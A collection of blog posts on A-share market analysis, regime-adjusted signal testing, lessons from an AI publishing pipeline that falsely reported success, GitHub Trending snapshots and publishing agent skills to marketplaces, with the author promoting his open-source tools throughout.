A setup's edge is not its raw mean. It is its mean minus whatever the market itself did that month:

setup                   month      n    setup    drift    excess
limit-up >=9.5%        2026-06    229   +2.18%  +0.049%    +2.13pp
limit-up >=9.5%        2026-07    101   -1.39%  -0.236%    -1.15pp
up 3-9.5%, vol >=2x    2026-06    127   +0.48%  +0.049%    +0.43pp
up 3-9.5%, vol >=2x    2026-07     86   -0.33%  -0.236%    -0.09pp
up 3-9.5%, vol <1.3x   2026-06    462   +0.18%  +0.049%    +0.13pp
up 3-9.5%, vol <1.3x   2026-07    369   -1.43%  -0.236%    -1.20pp
down >3%, vol <0.7x    2026-06    103   +0.01%  +0.049%    -0.04pp
down >3%, vol <0.7x    2026-07    174   -1.15%  -0.236%    -0.91pp

The excess flips as well — and it flips harder than the drift. These setups are not independent alpha. They are amplifiers of the current regime: when the tape's next-day drift is positive they magnify it, when it is negative they magnify the loss. Magnitude ratios in this sample run from 1.4x to 6x the baseline drift.

In code, the entire discipline is one extra line:

drift = mean([r.next for r in month_rows])      # equal-weighted market drift
excess = mean([r.next for r in setup_rows]) - drift

Two things stop being possible once you do this. You can no longer mistake a bull month for a skill. And you can no longer be surprised when your "validated" setup bleeds for six weeks.

What I actually took away

Print the baseline before printing the signal. One line, removes the largest source of fake edge.
Require the excess to keep its sign across at least two regimes before risking money. On this dataset that filter kills all seven setups. That is a correct output of an honest test, not a failure of the test.
Sample size does not rescue you. The biggest buckets (10,852 normal-volume days, 8,219 flat days) sit closest to the baseline. The exciting buckets are the small ones. n=93 "huge volume" days will happily support any story you want to tell — mine included.
The most dependable number in the whole study is the baseline: 47.3% win rate, negative mean. In a flat-to-down tape, most aggressive entries have negative expectancy before costs and before T+1 constraint — neither of which this study models.

Caveats, stated plainly

584 liquid, mostly well-known names — not the full ~5,200-stock market. Microcaps and new listings are absent.
Four months, heavily weighted to June-July. Effective sample is smaller than n suggests because consecutive stock-days overlap and are not independent. No significance testing is claimed anywhere in this post.
No costs, no slippage, no T+1 executability check, no limit-up fill assumption. A signal you cannot fill is not a signal.
Volume ratio uses a 5-day average; other windows produce other buckets.

Reproduce it (free data, no API key)

git clone https://github.com/Felixwang007/a-share-signal-lab
python study.py bars.json

bars.json needs daily_history — a per-code list of {date, open, high, low, close, volume}. Data sources that work without a key:

web.ifzq.gtimg.cn/appstock/app/fqkline/get?param=sh600519,day,,,320,qfq — daily K-lines, 320 bars
vip.stock.finance.sina.com.cn/.../Market_Center.getHQNodeData — full-market snapshots for breadth
qt.gtimg.cn/q=sh000001,sz399001 — index quotes (GBK-encoded, pipe through iconv if you are on a Unix shell)

The script prints all six tables above, including the monthly split, so you can drop in your own market, your own window, and your own definition of "volume spike."

If you want the packaged version of this workflow as an agent skill — the same free-data pipeline, the drift normalizer, and a breadth/limit-up regime gauge — I publish skills on 虾评 (xiaping.coze.com), and the study repo above is the reference implementation. If you run the split-by-regime test on a different market (US, HK, crypto), I would genuinely like to see whether your setups flip too — my guess is that most of them do.

My AI Agent Reported 'Success' for 12 Days Straight. Every Article Got 0 Reads.

Felixwang007 — Mon, 07 Sep 2026 04:01:24 +0000

Last month I ran a fully automated content pipeline: a cron job wrote stock-market articles with an LLM and auto-published them to a Chinese blogging platform. Every morning the job logged status: ok. Every evening I opened the analytics dashboard. 12 days. 12 articles.

0 reads.

Not 0 clicks. Zero reads, zero meaningful impressions. The agent wasn't crashing or erroring out — it was succeeding confidently and uselessly. And that, it turns out, is the most dangerous failure mode an autonomous system can have. A crash wakes you up. A confident lie puts you to sleep.

Since then I've hit the same shape of failure three more times, in different tools. Here is what actually fixed it.

1. `status: ok` is prose, not telemetry

The cron job's success string was generated by the same LLM that did the work. That is not a report — it is self-narration. The model was asked "did you finish?" and it answered the way models do: fluently, plausibly, and without any external reference.

The fix is a falsifier: an external check with an independently observable metric. For the content pipeline that meant "did the article actually appear on the target site?" and "did it get organic reads within 24h?" — not "did the agent say it finished?"

A success claim is only a hypothesis until something outside the agent can contradict it.

def report_success(task, claim) -> bool:
    # A success claim is a hypothesis until an external check confirms it.
    artifact = task.output()
    observable = task.publish(artifact)              # do the real action
    verified = task.fetch_back_from_destination(observable)  # read from the target
    return verified.exists()   # never claim.ok()

2. CLIs lie too

Later I shipped a publishing CLI with a --headless flag that returned success: true while publishing nothing. Why? The tool checked "did my HTTP request complete?" instead of "is the article live on the site?" The request was fine. The platform silently dropped the payload.

Lesson: verify against the destination, never against your own request. After any publish, fetch the resource back from the target and confirm it exists. A successful tool call is not a successful task.

3. The context that produced the work will rubber-stamp it

My first "reviewer" agent inherited the full writer context — same conversation, same assumptions, same blind spots. It approved garbage every time, because it was just the writer in a different hat.

Independent review means fresh context: the reviewer sees only the diff, the acceptance criteria, and the verifiable artifacts. That is why code review in real teams is done by a different human who did not write the code. Your critic agent needs the same separation, or it is just formatting with an opinion.

4. Skills that lecture get ignored

I kept making my agent skills longer. 13 book frameworks. Iron rules repeated five times for emphasis. A 174 KB skill attached to every task. Token spend went up — output quality went down. Agents skim. The parts of the skill that mattered were buried under the parts that made me feel thorough.

What finally worked:

Short skills: three principles, not thirteen frameworks.
Hard gates in the prompt itself: "title score ≥ 6.5 or do not publish", "at least 2 real images or do not publish". Let the model decide how; encode the whether as a rule.
Move the permission out of the agent: the writer drafts, a separate process decides whether the draft may reach the world.

The refactor that changed everything

Separate can do from may do:

The writing agent has autonomy to draft.
A gate — separate process, its own rules, external checks — has custody of publishing.
Autonomy for creation. Custody for release.

That single split is what turned a pipeline that quietly burned API credits into one I can leave running overnight and actually trust the logs of.

If you build skills and autonomous agents like these, my open-source skill set and tools live on GitHub (including a self-updating GitHub Trending aggregator site). A few polished versions — including the A-Share Stock Analysis skill and an AI-text humanizer — are published on the Xiaping skill marketplace. If you have hit a silent-failure story of your own, I would genuinely like to hear it.

This Week's GitHub Trending Quietly Became a Skill Marketplace (Live Snapshot, Sep 3)

Felixwang007 — Thu, 03 Sep 2026 04:01:02 +0000

Every six hours, my little open-source bot snapshots GitHub Trending into a clean digest so I can watch where the developer world is going without doom-scrolling. I've been doing this for months, and this week's snapshot is one of the clearest signals I've seen: the trending page has stopped being about models and started being about how agents are organized, equipped, and verified.

Here is the live data — repos created in the last 7 days, sorted by stars:

Repo	Stars	What it is
`XiaoDuoYa/codex-with-chatgpt`	~2.3k	ChatGPT as the planning brain, Codex as the hands — a two-agent harness
`Nanako0129/sepia`	~1.6k	A "De-AI" writing skill for Agent Skills-compatible agents, 77+ rules
`cbrock84/headcount`	~1.1k	Claude Code structured as a company: 15+ departments, 125+ skills
`MetaMask-AI/metamask-desktop`	~1.2k	The MetaMask desktop app (Ethereum browsing)
`anthropics/commerce-agents`	~570	Anthropic's official blueprint for shopping/merchant agents
`2akouwu/reverify`	~600	"Verified reverse engineering": AI grounded in deterministic tools
`Player-YN/PawWork_ZhuaZhua`	~560	A selection-first web agent for Chrome
`subsy/skill-cabinet`	~370	Tooling for managing skills themselves

Five of the top eight are agent-related. Last month, the same slot would have been filled by model repos. That is a genuine category shift, and it clusters into three patterns worth stealing:

1. SKILL.md is becoming a distribution format

sepia, headcount, and skill-cabinet all treat a skill — a folder with a SKILL.md plus scripts and references — as the atomic unit of software. Not a package, not a container: a skill. Why it matters: skills are loaded on demand into an agent's context, so distribution cost drops toward zero compared to libraries that must be installed and imported. The ecosystem that already emerged around Agent Skills (CLI installers, marketplaces, registries) looks a lot like npm in 2011.

2. Agent brains are splitting — planner vs. executor

codex-with-chatgpt (ChatGPT thinks, Codex works) and anthropics/commerce-agents both encode the same architectural bet: don't make one agent do everything. Give one model the reasoning/planning role and another the execution harness. This matches what I've learned running automated publishing pipelines for months — a cron agent that both decides and executes fails silently; separating the planner from the executor and giving the executor external checks is what actually catches garbage before it ships.

3. Verification is the new moat

reverify (AI reverse engineering checked against deterministic tools) is the sharpest example: when an agent produces output, the winning pattern is not better prompts but an external verifier the agent can't argue with. In my own stock-analysis and content pipelines, every time I replaced "trust the agent's success report" with an independent check (e.g. live market data, or a hard gate on output quality), reliability jumped. The models change; the need for falsifiable checks does not.

What to actually do this week

If you use Claude Code / Codex / Cursor: try packaging one of your repetitive workflows as a skill. A skill you can install on any agent beats a script you have to re-explain.
If you build agents: budget 30% of your effort for a verifier layer, not for prompt polish. That is the difference between a demo and a tool.
If you watch trends: don't trust your memory — snapshot the data. My aggregator (zero-cost, zero-API, updates every 6h) is free to use: https://felixwang007.github.io/awesome-content-tools/ (repo: Felixwang007/awesome-content-tools).

One more plug that fits the theme: the skill economy is not just an English-language thing. I publish Chinese-language skills for AI agents too — including an A-Share stock analysis expert (three-pillar system: technical + fundamental + sentiment, 24 indicators) on the xiaping.coze.com skill marketplace, with the free open-source version in the same GitHub. If you trade Chinese markets or just want to see a real-world skill in action, both are linked from the repo above. The skills are the product now — the repos are just the packaging.

A-Shares Just Rotated: BYD -4% While Moutai Held Flat — What the Divergence Tells You (Aug 31 Live Data)

Felixwang007 — Mon, 31 Aug 2026 04:05:29 +0000

It's Monday lunchtime in Shanghai, and the morning session just delivered the kind of tape that separates people who watch the index from people who read the market.

Here's what actually happened in the first half of today's session (2026-08-31, live quotes):

Index / Stock	Price	Change
Shanghai Composite	3,944.46	-0.20%
Shenzhen Component	13,812.99	-1.00%
ChiNext	3,380.15	-1.29%
BYD	¥88.47	-4.17%
CATL	¥358.17	-2.80%
LONGi Green Energy	¥11.96	-3.78%
Seres	¥49.30	-2.55%
Kweichow Moutai	¥1,296.08	-0.10%
Wuliangye	¥71.20	-0.43%

The index printed "a mild dip." But underneath, a violent rotation was happening: new-energy (EVs + solar) got sold hard, while defensive white-liquor barely blinked. That gap — BYD down 4% while Moutai is flat — is the signal. The index is just the noise.

Why the headline number lies to you

The Shanghai Composite is dominated by financials and old-economy heavyweights. When money rotates out of growth and into defensives, the index can look "stable" while a growth-heavy portfolio gets shredded. Read the index for mood; read the divergence for direction.

Today's tape is a textbook risk-off rotation: risk appetite is shrinking at the margin, and capital is hiding in the names that pay dividends and survive recessions.

The three-pillar way to read this

My A-share scanner doesn't try to predict the market. It triangulates three independent signals and waits for them to agree:

Technical — price/volume structure (MACD, KDJ, RSI, Bollinger, volume-price). Says what is happening.
Fundamental — ROE decomposition, PEG, valuation percentile. Says why it might be justified.
Intelligence — 龙虎榜 (dragon-tiger list of top buy/sell seats), block-trade and capital-flow data, sector rotation, policy catalysts. Says who is doing it and where the money is going.

On days like today, pillar #3 earns its keep. The dragon-tiger list and block-trade data will tell you this afternoon whether the EV selling was institutional rotation or a few hot-money desks panic-exiting. Those two scenarios have completely different follow-throughs.

Three rules you can use right now (no paid data required)

Rule 1 — When the index and the sectors disagree, trust the sectors. Compute the gap between ChiNext and the Shanghai Composite. Today it's ~1.1 percentage points of underperformance. If that spread widens three sessions in a row, it's a rotation, not a blip.

Rule 2 — Don't buy the dip in the sector being sold until volume confirms a floor. A falling knife with rising volume is still a falling knife. Wait for a session of shrinking volume with a higher low — that's the first footprint of distribution ending.

Rule 3 — In risk-off rotations, the rotation target is usually the previous laggard. Money doesn't leave the market; it moves. Today's defensiveness (liquor, banks, dividends) is the same money that was chasing EVs in July. Watch where volume accumulates over the next 3 sessions — that's the next leg.

How the scanner automates this

The scanner pulls free quote data (Tencent/Sina endpoints — no API key, no cost), computes 24 indicators per stock, scores each of the three pillars 0-10, and only flags a stock when all three agree. The Aug 31 morning scan automatically flagged the rotation by scoring new-energy names down on technicals while defensive names held their pillar scores.

The full pipeline (Python, zero paid dependencies) is documented in my awesome-content-tools repo — a collection of self-updating tools including the A-share scanner, a GitHub Trending aggregator, and the market-data scripts used for this article. If you're on the Chinese skill marketplace 虾评 (xiaping.coze.com), you can also find my published data-analysis and stock tooling skills there.

No paid API, no black box, no crystal ball — just three independent signals forced to agree before you act. That's the whole edge.

I Published Skills to 5 AI Marketplaces in One Week — Here's the Brutal Automation Ceiling Test

Felixwang007 — Thu, 27 Aug 2026 04:06:46 +0000

I've spent months building agent skills (SKILL.md files) that turn AI coding agents into specialists — stock scanners, content pipelines, document tools. Earlier this year I made the leap from "tools for myself" to "products for sale." In one week I published skills and MCP servers to five AI marketplaces: Agensi, Xiaping, Apify, MCPize, and Capafy.

The revenue so far: $0. And I'm not ashamed to say it, because the real product of that week wasn't sales — it was a decision framework I now use before writing a single line of code. I call it the automation ceiling test, and it would have saved me days of work if I'd known it earlier.

The automation ceiling: check this BEFORE you build

Every marketplace falls into one of three tiers. Ask one question first: can a program publish to this platform end-to-end, or does a human have to click at some point?

Tier	Publish path	Example platform
Full API	Everything via HTTP, from upload to status polling	Xiaping (complete REST API), Apify (full CLI + API)
Half API	Code can create everything, but a one-time human action gates publishing (terms acceptance, app install)	Apify Store (must click "accept Store terms" once in the web console), Buda (install GitHub App once)
No API	Human must upload via web UI, every single time	Agensi (creator dashboard only)

Here's the trap: I built an entire skill package for Agensi first — ZIP, cover art, pricing research — before discovering it has no publish API. Everything was ready except the one step that can't be automated. The lesson: never do five rounds of workarounds around a platform that a 30-second API check would have disqualified. Map the ceiling first, then decide how much effort the platform deserves.

What I learned from each marketplace

Xiaping (xiaping.coze.com) — the most automation-friendly of the five. Full REST API: multipart upload, category via Unicode-escaped JSON arrays, pledge confirmation in the payload. After publishing, each skill enters a 30-day trial period while security and duplicate detection run. One practical gotcha: the file field must end in .zip or the API rejects it with "File must be a ZIP file."

Apify — building the Actor (a Python MCP server) was fully scriptable with apify-cli. Publishing to the Store is half-automated: after you accept the Store terms once in the console, isPublic: true + categories work via the API. 80% revenue share, and they pay monthly — about $1.4M a month to developers across the platform.

MCPize — a marketplace for MCP servers specifically, with a CLI (npx mcpize has login/deploy/publish commands). Also 80% share, and they handle hosting, payments, and tax. Same product can be listed here and on Apify — no exclusivity.

Capafy — lets you publish an agent (a bundled collection of skills) rather than single skills. I published one with 100 sanitized skills as a single agent.

Agensi — the best-looking onboarding (70% share, $3–$59 pricing, Stripe connected) and the worst automation. Web-UI-only publishing. It's a fine marketplace if you're a human who enjoys filling forms; it's a dead end for a pipeline that should run unattended.

The part nobody advertises: trial periods and promotion

Getting a skill listed is not the finish line. On Xiaping, a new skill sits in a 30-day community trial — no storefront listing until moderation and duplicate checks pass. That's a second pipeline to monitor: polling notifications, checking review status, fixing rejections.

And then there's the hard truth that no marketplace will tell you: distribution is 80% of the work. I spent one unit of effort building skills and two units promoting them — GitHub issues, README badges, cross-posts to Dev.to, community engagement. A skill with zero discoverability is a file that happens to be on a server. If you publish and walk away, you've shipped a product to an empty room.

The concrete publish flow (Xiaping, fully automated)

# Build the skill ZIP locally, then:
curl -X POST https://xiaping.coze.com/api/skills \
  -H "Authorization: Bearer $XIAIPING_KEY" \
  -F 'file=@a-share-stock-analyzer.zip' \
  -F 'name=A-Share Stock Analysis Expert' \
  -F 'description=Three-pillar A-share scanner: technical + fundamental + sentiment' \
  -F 'trigger=["stock","a-share","scan"]' \
  -F 'category=["\u6548\u7387\u5de5\u5177"]' \
  -F 'pledge={"agreed":true}'
# Then poll GET /api/notifications for security/duplicate-check results.

(Yes, that category is "efficiency tools" in Unicode — the API rejects raw Chinese in that field. The kind of detail you only learn by hitting the error.)

What I'd do differently

Automation ceiling first, product second. A 2-minute API doc skim would have saved me a full day on Agensi.
One marketplace to start. I spread five listings across five platforms in a week — five moderation queues, five notification systems, five marketing problems. One platform, done well, beats five platforms, half-finished.
Treat trial periods as a product phase, not a waiting room. The 30-day trial is when you iterate on the skill based on community feedback — not when you stop looking at it.
Revenue split matters less than automation. 80% of a sale that happens automatically beats 70% of a sale you must remember to upload by hand.

None of this made me money yet. But I now have a repeatable, mostly-automated pipeline — skills built, zipped, published, and monitored with a single script — and the marketplaces where that pipeline actually works. The money comes from volume, and volume comes from automation.

Everything I build is open source: https://github.com/Felixwang007 (MIT). The A-Share Stock Analysis Expert skill (three-pillar system: MACD/KDJ/RSI/volume-price + ROE/PEG fundamentals + capital-flow sentiment) is live on xiaping.coze.com — search "A-Share Stock Analysis" to try it.

Have you hit an automation ceiling on a marketplace I haven't listed? Tell me in the comments — I'm building a public table of which platforms are actually automatable, and real-world data beats my five data points.

The AI Race Just Left the Model Layer — 30 Days of GitHub Trending Data Proves It

Felixwang007 — Mon, 24 Aug 2026 04:09:40 +0000

For the past month I've been running a fully automated GitHub Trending aggregator — a single GitHub Actions cron that scrapes trending every 6 hours, renders a clean page, and deploys it to Pages. Zero API keys, zero servers, zero cost. It wasn't built to be impressive; it was built so I'd never have to open trending.github.com again.

But the side effect turned out to be more valuable than the tool: a month of uninterrupted, timestamped data on what the developer community is actually excited about — not what press releases say, but what thousands of engineers star with their own hands.

Here's the pattern that jumped out, with real repos scraped today:

The data (real stars, scraped right now)

Repo	Stars	What it actually is
public-apis/public-apis	469K	The world's largest collection of free APIs
harry0703/MoneyPrinterTurbo	115K	One-click AI short-video generation from a keyword
volcengine/OpenViking	32.5K	"Self-evolving context database" — agent memory + RAG + skills in one
basecamp/omarchy	29K	Opinionated, modern Linux (by Basecamp)
modular/modular	29K	Mojo / MAX language platform
jundot/omlx	20.5K	LLM inference server with SSD caching for Apple Silicon
AprilNEA/OpenLogi	15K	Local-first Logitech Options+ replacement in Rust
cordiverse/cordis	7.3K	Spatiotemporal composability meta-framework
cursor/plugins	4.8K	Cursor's official plugin specification
apache/maka	2.4K	Apache-incubating, local-first AI agent workspace
anthropics/claude-plugins-community	1K	Community plugin marketplace for Claude Code

Signal #1: Agent "app stores" are forming — right now

cursor/plugins, anthropics/claude-plugins-community, and apache/maka — three plugin ecosystems from three different vendors, all trending within days of each other. That's not coincidence; that's an inflection.

When infrastructure companies rush to standardize plugins, it means one thing: agents stopped being a demo and became a distribution channel. The next "app store" won't be for phone apps — it'll be for capabilities you drop into an agent. If you're a developer, learning one plugin spec (they're all converging on the same SKILL.md / MCP-style shape) is the cheapest career insurance available right now.

Signal #2: Context is the new bottleneck

volcengine/OpenViking at 32.5K stars in a short window frames itself as a "self-evolving context database" — unifying agent memory, knowledge retrieval, and skills. The name is marketing, but the thesis is real.

Every serious agent project hits the same wall: context windows are finite, and what the agent remembers decides whether it's brilliant or useless. That's why the hottest tooling right now isn't "another model" — it's systems for deciding what to remember, what to forget, and what to fetch. The model wars are over; the context wars just started.

Signal #3: Local inference is quietly winning

jundot/omlx (20.5K stars) — continuous-batching LLM inference with SSD caching on Apple Silicon — alongside Mojo's continued staying power. The message: developers increasingly don't want to pay per token for every experiment. They want a fast local box, a clean API, and the option to never touch a cloud endpoint until they absolutely have to. Cheap local inference isn't a hobbyist niche anymore; it's a design default.

Signal #4: Content automation demand hasn't gone away

MoneyPrinterTurbo at 115K stars is a decade-old reminder wearing a new face: turning a topic or keyword into a publishable short video remains one of the most-desired automations on the planet. Every wave of "AI content is dead" discourse ignores that the tooling keeps compounding in stars. The demand isn't for AI text — it's for AI that produces something publishable end-to-end.

Signal #5: Data access is the real moat

public-apis sits at 469K stars — among the most-starred repositories in the world, and it's just a list of URLs. No model, no framework, no agent will ever make free data access unnecessary. Every agent is only as good as the APIs it can reach. If you're building anything agentic, your data layer is your moat — spend accordingly.

What I'd do with this

If you build agents: read the cursor and Claude plugin specs this week. The format is stabilizing fast, and early movers get the distribution.
If you pick infrastructure: memory/context tooling is where the jobs and the budgets are heading. Retrieval quality > prompt tricks.
If you create content: the video-automation star count says the demand never left — the bar is just "publishable output," not "draft."

How I get this data for free

The aggregator is one workflow file: a cron schedule, a single scraper script, a Pages deploy. No API keys, no server, no cost — it's been running unattended for a month. You can fork it, or just bookmark the live page:

Live site: https://felixwang007.github.io/github-daily-trending/
Repo: https://github.com/Felixwang007/github-daily-trending

If the data was useful, a ⭐ on the repo genuinely helps. And if you read Chinese, I publish the deeper trend analysis as an installable AI-agent skill on 虾评 (search "全网新闻聚合助手") — same data, turned into daily briefings.

The next big thing in dev tools probably isn't a model. It's the layer that lets agents use everything else. The star data is telling you where to look.

Volume Is the Only A-Share Indicator That Can't Be Faked — a Playbook Built on Real 2026 Market Data

Felixwang007 — Thu, 20 Aug 2026 04:08:12 +0000

In Chinese A-shares, every indicator can be faked — except one.

K-lines can be drawn. MACD and KDJ can be painted. Even the "fundamentals" in a prospectus can be polished. But every single share of volume requires real money changing hands. You can't print liquidity.

I spent the last few months building an open-source A-Share scanner, and volume is the layer that keeps saving me from bad trades. Here's the playbook — built on what actually happened in the 2026 market, not textbook theory.

What volume actually measures

Most people think volume = supply and demand. It isn't. Volume is a measure of disagreement.

Everyone agrees the stock is great → nobody sells → limit-up on tiny volume (price flies on almost no shares).
Everyone is terrified and thrilled at the same time → massive turnover (someone who believes it's a 10-bagger selling to someone who believes it's a bankruptcy).

Every huge trade is one buyer and one seller, each convinced the other is an idiot. The question is never how much traded — it's which direction the chips moved.

Two historic blow-off days I watched

Date	Turnover	What happened next
2024-10-08	3.48 trillion yuan	Gap up, faded, violent correction
2026-01-14	3.99 trillion yuan (record)	Closed red, volume dried up, months of sideways bleed

Record volume is not a bull-market starting gun. It's a disagreement thermometer maxing out. When the whole market trades at record levels, the chips are changing hands at maximum speed — and someone with a huge position is usually on the sell side.

Where volume happens matters more than how much

High-position volume breakout = liquidity trap ⚠️

A main force that has held a stock for a year, doubled it, can't just dump — the stock would hit limit-down and they'd be stuck. So they wash-trade: account A places sell orders, account B eats them in seconds, drawing a giant "buying" volume bar on the daily chart. Retail and quant funds chase the breakout. The real chips get mixed into the exit.

If volume explodes after a stock has already doubled, ask: who is the seller?

High-position volume with no price progress = distribution ⚠️⚠️

Volume up 2–3x, price up 1% with a long upper shadow. Retail reads "shakeout." The math says otherwise: if real money were buying aggressively and the price can't rise, the sell side is effectively unlimited — major shareholders plus the bottom-position main force. This is the last distribution before the kite string breaks.

Low-position volume spike = accumulation ✅

Long decline, volume at ice-cold levels, then one day a volume bar far above the multi-month average. Retail is panic-selling; whoever can absorb hundreds of millions of yuan against the grain is almost certainly informed money. They accumulate quietly — that's why price often stays flat while volume builds (量增价平).

The counterintuitive side: shrinking volume

High-position shrink-up = locked chips (not always a bearish divergence)

Classic dogma says "a rally without volume is a scam." It misses the strongest stocks. When the main force controls 70–80% of the float, it takes just tens of millions of yuan to push a limit-up, and daily volume collapses. The tell is the trend slope: a steep 5/10-day MA with quickly recovered dips = locked chips; a choppy, one-step-back-three-step-forward drift = dying momentum.

Low-position shrink-down = the death spiral ⚠️⚠️⚠️

A volume-down decline at least has no buyers. A shrinking-volume decline means the market has completely given up. -1% a day, sawing your capital in half over six months. Never catch this knife — wait for the 地量 (extreme low volume) bottom to form first.

Turnover rate: volume, normalized

Absolute volume is meaningless. 50 million shares is a normal 5% turnover for a 10-billion-float stock and a 100% explosion for a 500-million float.

Turnover	Zone	Meaning
<1%	Ice-cold	Forgotten stock; only actionable if chips are confirmed exhausted
1–3%	Normal	Trend continues as-is; watch
5–10%	Hot	Disagreement rising, main force footprints visible; start tracking
>15–20%	Extreme	Red alert at highs — 1 in 5 shares changed hands; distribution zone

The eight classic volume-price patterns

Pattern	At lows	At highs
Volume up, price flat	✅ Accumulation	⚠️⚠️ Distribution warning
Volume up, price up	✅ Healthy (1–2x = golden)	⚠️ 5–10x explosion = wash-trade bait
Volume flat, price up	✅ Locked chips	⚠️ Follow-on money drying
Volume down, price up	✅ Controlled float	⚠️ Liquidity exhaustion
Volume up, price down	⚠️ Panic — exit signal anywhere	❌ Huge red bar = trend over
Volume down, price down	⚠️ Death spiral — no bottom-fishing	⚠️ Wait for extreme low volume

The one question to ask at every candle

Which direction are the chips moving?

Main-force pocket → retail pocket (they sell, you buy) = danger
Retail pocket → main-force pocket (they buy, you sell) = opportunity

Judge by the patterns above: high-position volume stalls → chips flowing to retail. Bottom 地量 followed by a low-position spike → chips flowing to the main force.

Turning this into code

Rules are only useful when they're enforced. I quantized these patterns into a scoring layer in the scanner:

def volume_score(high_pos: bool, vol_ratio: float, chg_pct: float, turnover: float):
    s = 0
    if high_pos and vol_ratio > 2 and chg_pct < 2:
        s -= 4          # high-position volume stall = distribution
    elif high_pos and vol_ratio > 3:
        s -= 2          # liquidity-trap breakout
    elif not high_pos and turnover < 0.5:
        s += 2          # extreme low volume near bottom = setup
    elif not high_pos and vol_ratio > 3:
        s += 3          # low-position spike = accumulation
    if turnover > 15:
        s -= 3          # red-alert turnover
    elif 5 <= turnover <= 10 and not high_pos:
        s += 4          # main force ignition zone
    return max(-5, min(5, s))

Combined with the technical (MACD/KDJ/RSI), fundamental (ROE/PEG) and sentiment layers of the three-pillar system, it's the difference between "the chart looks fine" and "the chips are flowing the wrong way."

Where to find it

The full scanner — including the volume scoring, a 5,000-stock daily screener, and the three-pillar framework — is open source: https://github.com/Felixwang007 (everything is MIT).

If you'd rather have it as a ready-made agent skill, search "A-Share Stock Analysis" on xiaping.coze.com — it runs the whole scan in 5 minutes, no SaaS subscriptions, no paid APIs.

Volume is the only honest participant in the market. Learn to read it, and the other indicators stop lying to you. Questions or a pattern you think I got wrong — drop it in the comments.

7 Stocks Hit the 20% Limit Today in China — My Free AI Scanner Caught All of Them by 9:35 AM

Felixwang007 — Mon, 17 Aug 2026 04:09:32 +0000

Every morning at 9:30 AM Beijing time, a script on my machine quietly wakes up, pulls live quotes for all 5,000+ A-share stocks, and runs a three-pillar scan: technicals, fundamentals, and market sentiment. It takes about 90 seconds. This morning it did something worth writing about.

What happened today (Aug 17, 2026)

The market opened strong and stayed strong:

Index	Close	Change
Shanghai Composite	3,960	+0.84%
Shenzhen Component	14,534	+1.26%
ChiNext (Growth)	3,675	+1.33%
CSI 300	4,701	+0.76%

But the interesting action was in the limit-up board. A-share rules allow a 20% daily move on ChiNext (300xxx) and STAR Market (688xxx) stocks. This morning, seven of the top ten gainers all closed at the 20% limit — that's a rotation signal, not just a green tape day.

The scanner's output, 9:35 AM

Top movers flagged by the scan (name, price, change, turnover):

N 恒兴 (new listing):  32.20  +101.0%  turnover 78.6%
创达新材 (BJ):         60.88  +23.9%   turnover 12.6%
戴维医疗 (300314):     14.74  +20.0%   turnover 17.9%
天山生物 (300313):     10.73  +20.0%   turnover 11.6%
聚和材料 (688503):     95.68  +20.0%   turnover 10.4%
太辰光   (300570):    193.80  +20.0%   turnover 12.4%
苏州天脉 (301626):    307.08  +20.0%   turnover 7.7%

How to read this tape (the part that's actually useful)

Three things stand out, and they map directly to the three pillars of the system:

1. Technicals — turnover is the tell. A 20% limit-up with 10–18% turnover means the move is contested: real money is rotating in, but so is a lot of short-term supply. Contrast that with 中石科技's limit-up at only 1.6% turnover — that's a locked board, sellers simply didn't show up. Low-turnover limit-ups are structurally stronger than high-turnover ones. When you see a high-turnover limit-up, expect a follow-up test tomorrow.

2. Sentiment — where the money is going. A new listing doubling on its debut (N 恒兴, +101%, 78% turnover) plus a cluster of 20% boards across ChiNext and STAR tells you risk appetite is ON. In this regime, breakout strategies on 300xxx/688xxx names tend to work better than dividend/value plays. Regime detection is 80% of the game — indicator choice comes second.

3. Fundamentals — the filter that keeps you out of traps. The scanner cross-references each mover against earnings, ROE history, and PEG. 戴维医疗 and 天山生物 are classic sentiment names (medical devices / agriculture themes) — fine for a 1–2 day trade if you respect the stop, but their fundamental scores keep them off the swing list. The system's job is to separate "momentum with a floor" from "momentum with a cliff."

The one-command workflow

This isn't a black box — it's a free open-source skill for AI coding agents (works with Claude Code, Codex, etc.):

# fetch the whole market, score every ticker, output a ranked watchlist
agent-run a-share-stock-analysis scan --sort momentum

Under the hood it's plain Python: Sina/Tencent free quote endpoints (no paid API key, no rate-limit drama), ~24 technical indicators (MACD, KDJ, RSI, Bollinger, volume-price divergence), and a weighted scoring model. You can read every line of the code and change the weights yourself.

Why I open-sourced this

I got tired of two things: (1) paid tools that hide their logic, and (2) advice posts with zero reproducible data. So the skill ships with the live scanner, the scoring rules, and a daily watchlist generator — you point it at today's market and it gives you today's numbers, not last month's screenshots.

GitHub: github.com/Felixwang007/buda-a-share-stock-analyzer
Published skill (search "A-Share Stock Analysis Expert"): available on the 虾评 skill marketplace and Agensi

If you trade A-shares or just want to see how a free agent skill does real market surveillance every morning, star the repo and run the scan tomorrow at 9:30. The tape will thank you.

Disclaimer: Educational content, not investment advice. A-share trading involves risk; always do your own due diligence and respect position sizing.